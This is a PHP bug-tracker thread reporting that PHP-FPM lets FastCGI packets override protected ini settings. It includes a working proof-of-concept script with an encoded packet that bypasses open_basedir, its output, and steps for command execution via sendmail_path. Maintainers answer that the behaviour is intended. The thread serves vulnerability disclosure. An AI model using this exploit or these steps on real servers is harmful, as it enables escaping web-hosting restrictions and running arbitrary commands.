php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Request #77190 PHP_VALUE can be changed by PHP-FPM environment variables without checking
Submitted: 2018-11-23 09:49 UTC Modified: 2021-12-04 18:25 UTC
From: ricterzheng at gmail dot com Assigned: bukka (profile)
Status: Assigned Package: FPM related
PHP Version: 7.0Git-2018-11-23 (snap) OS: Linux
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: ricterzheng at gmail dot com
New email:
PHP Version: OS:

 

 [2018-11-23 09:49 UTC] ricterzheng at gmail dot com
Description:
------------
---
From manual page: https://php.net/function.stream-socket-client
---
PHP-FPM can set a value named PHP_ADMIN_VALUE from the data packet (including TCP port / Unix sock), so we can send a packet to fpm listening address (including TCP port / Unix sock path) and set PHP_ADMIN_VALUE to `open_basedir = /` to bypass open_basedir.

Test script:
---------------
<?php
// create a php file at /var/www/html/index.php
// save this file as /var/www/html/aaa.php
// tested on 7.0.30-0ubuntu0.16.04.1
// listening on a TCP port are also affected

echo "open_basedir: " . ini_get("open_basedir");
$sock = stream_socket_client('unix:///run/php/php7.0-fpm.sock', $errno, $errstr);
fwrite($sock, base64_decode("AQGL2wAIAAAAAQAAAAAAAAEEi9sB7QAADgJDT05URU5UX0xFTkdUSDMwDBBDT05URU5UX1RZUEVhcHBsaWNhdGlvbi90ZXh0CwRSRU1PVEVfUE9SVDk5ODULCVNFUlZFUl9OQU1FbG9jYWxob3N0EQtHQVRFV0FZX0lOVEVSRkFDRUZhc3RDR0kvMS4wDw5TRVJWRVJfU09GVFdBUkVwaHAvZmNnaWNsaWVudAsJUkVNT1RFX0FERFIxMjcuMC4wLjEPF1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwCxdTQ1JJUFRfTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwCR9QSFBfVkFMVUVhdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DgRSRVFVRVNUX01FVEhPRFBPU1QLAlNFUlZFUl9QT1JUODAPCFNFUlZFUl9QUk9UT0NPTEhUVFAvMS4xDABRVUVSWV9TVFJJTkcPKFBIUF9BRE1JTl9WQUxVRWFsbG93X3VybF9pbmNsdWRlID0gT24KIG9wZW5fYmFzZWRpciA9IC8NAURPQ1VNRU5UX1JPT1QvCwlTRVJWRVJfQUREUjEyNy4wLjAuMQsXUkVRVUVTVF9VUkkvdmFyL3d3dy9odG1sL2luZGV4LnBocAEEi9sAAAAAAQWL2wAeAAA8P3BocCBwcmludF9yKHNjYW5kaXIoIi8iKSk7Pz4BBYvbAAAAAA=="));
echo fread($sock, 4096);

Expected result:
----------------
open_basedir: /var/www/html:/tmp

Actual result:
--------------
open_basedir: /var/www/html:/tmp���Content-type: text/html; charset=UTF-8

Array
(
    [0] => .
    [1] => ..
    [2] => bin
    [3] => boot
    [4] => data
    [5] => dev
    [6] => etc
    [7] => home
    [8] => initrd.img
    [9] => lib
    [10] => lib64
    [11] => lost+found
    [12] => media
    [13] => mnt
    [14] => opt
    [15] => proc
    [16] => root
    [17] => run
    [18] => sbin
    [19] => snap
    [20] => srv
    [21] => sys
    [22] => tmp
    [23] => usr
    [24] => var
    [25] => vmlinuz
    [26] => www
)
��l,i

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2018-11-23 17:06 UTC] ricterzheng at gmail dot com
I found two new bugs lead command execution flaw.
While using PHP-FPM, an attacker can fully bypass these security measures (open_basedir / execute commands).

1. stream_socket_client is not restricted by open_basedir
2. sendmail_path is marked as PHP_INI_SYSTEM but still can be modify by PHP_VALUE

An attacker can:
1. Send data to PHP-FPM daemon and set PHP_VALUE sendmail_path = /tmp/test
2. Create /tmp/test(base script, ELF) and chmod it to 777
3. Call mail() function, and PHP will invoke /tmp/test
4. Execute any command finally
 [2018-11-24 14:16 UTC] ricterzheng at gmail dot com
A PoC: https://drive.google.com/file/d/1tcvV97abYcOaIgB_ZqVjQ46kmw2Yf9sL/view?usp=sharing
 [2018-11-24 19:52 UTC] stas@php.net
Not sure why we allow setting SYSTEM values via socket, this probably shouldn't happen.
 [2018-11-25 05:52 UTC] ricterzheng at gmail dot com
According my further test, PHP_VALUE / PHP_ADMIN_VALUE can overwrite all the php.ini configuration settings including `php.ini only` settings.
 [2018-11-25 15:47 UTC] ricterzheng at gmail dot com
https://github.com/php/php-src/blob/1ad08256f349fa513157437abc4feb245cce03fc/sapi/fpm/fpm/fpm_php.c#L116
Function `fpm_php_apply_defines` checks PHP configuration settings mode.

https://github.com/php/php-src/blob/1ad08256f349fa513157437abc4feb245cce03fc/sapi/fpm/fpm/fpm_php.c#L80
Function `fpm_php_apply_defines_ex` doesn't.

While parsing FastCGI requests, PHP-FPM will invoke `fpm_php_apply_defines_ex`.
That's all.
 [2018-12-05 01:49 UTC] ricterzheng at gmail dot com
-Package: *General Issues +Package: FPM related
 [2018-12-05 01:49 UTC] ricterzheng at gmail dot com
change package to fpm related
 [2018-12-05 10:50 UTC] cmb@php.net
-Assigned To: +Assigned To: bukka
 [2018-12-05 10:50 UTC] cmb@php.net
Jakub, could you please have a look at this?
 [2018-12-15 15:59 UTC] ricterzheng at gmail dot com
-Summary: PHP open_basedir Bypass Via PHP-FPM +Summary: PHP_VALUE can be changed by PHP-FPM environment variables without checking
 [2018-12-15 15:59 UTC] ricterzheng at gmail dot com
This bug can overwrite php configuration settings even they are marked as PHP_INI_SYSTEM / PHP_INI_PERDIR or php.ini only. It will lead php security measures bypass or other security problems.
 [2019-01-22 02:01 UTC] ricterzheng at gmail dot com
Will this issue be fixed?
 [2019-01-25 17:05 UTC] bukka@php.net
Well I think that this is definitely on purpose. Basically the difference between php_value and php_admin_value is that the admin one allows setting PHP_INI_SYSTEM and changing that would break a lot of code so we can't do that I'm afraid.

Exposing of PHP_ADMIN_VALUE and PHP_VALUE is somehow unfortunate but it has been always there and we cannot change it without breaking a code. It's obviously on purpose too. I think we have to set a contract that one should never expose php-fpm publicly. It means it should always have a server in front of it (e.g. nginx or apache). To be honest I have never seen anyone exposing php-fpm and most installation will never do that so this is not actually a big issue. It would be definitely a bigger issue to break the existing servers.

I wouldn't be opposed to introduce a new option to ignore PHP_ADMIN_VALUE and PHP_VALUE that could potentially land in 7.3 as it's a feature. But I don't think there is anything we can do about this. It should be probably set to "Not a bug" though.
 [2019-01-25 17:41 UTC] ricterzheng at gmail dot com
Hi bukka, this issue will lead PHP security measures bypassed (e.g. open_basedir) in a restricted environment. The contract is one hacker gain a webshell and want to execute commands or read files but he was restricted by disable_functions and open_basedir. 
Cause of PHP-FPM will listening at a TCP port or a UNIX socket file, the hacker is certainly able to access via the webshell.
 [2019-01-25 18:46 UTC] bukka@php.net
I think you should read this as open_basedir is not really a security measure:
http://www.php.net/security-note.php

I don't think we consider any issues with that as a security issue as there are many ways to bypass it.
 [2020-07-14 12:44 UTC] cmb@php.net
-Operating System: Linux / Windows +Operating System: Linux
 [2020-07-14 12:44 UTC] cmb@php.net
Since this is a PHP-FPM issue, it does certainly not affect Windows.
 [2020-07-16 12:56 UTC] remi@php.net
Having FPM listening on a public address seems a configuration issue, with a lot of security-related issues.

The reason one by default, FPM only allow local client (network port) or restricted user list (NDS).

So I don't think this have to be managed as a security bug.
 [2021-07-12 16:08 UTC] cmb@php.net
-Type: Security +Type: Bug
 [2021-07-12 16:08 UTC] cmb@php.net
> I think you should read this as open_basedir is not really a
> security measure:

Right, see also <https://externals.io/message/105606>
and <https://externals.io/message/115406>.

> So I don't think this have to be managed as a security bug.

ACK.
 [2021-12-04 18:25 UTC] bukka@php.net
-Type: Bug +Type: Feature/Change Request
 [2021-12-04 18:25 UTC] bukka@php.net
This behaviour is on purpose and its mitigation (optional disabling) is treated as a feature.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 15:01:30 2024 UTC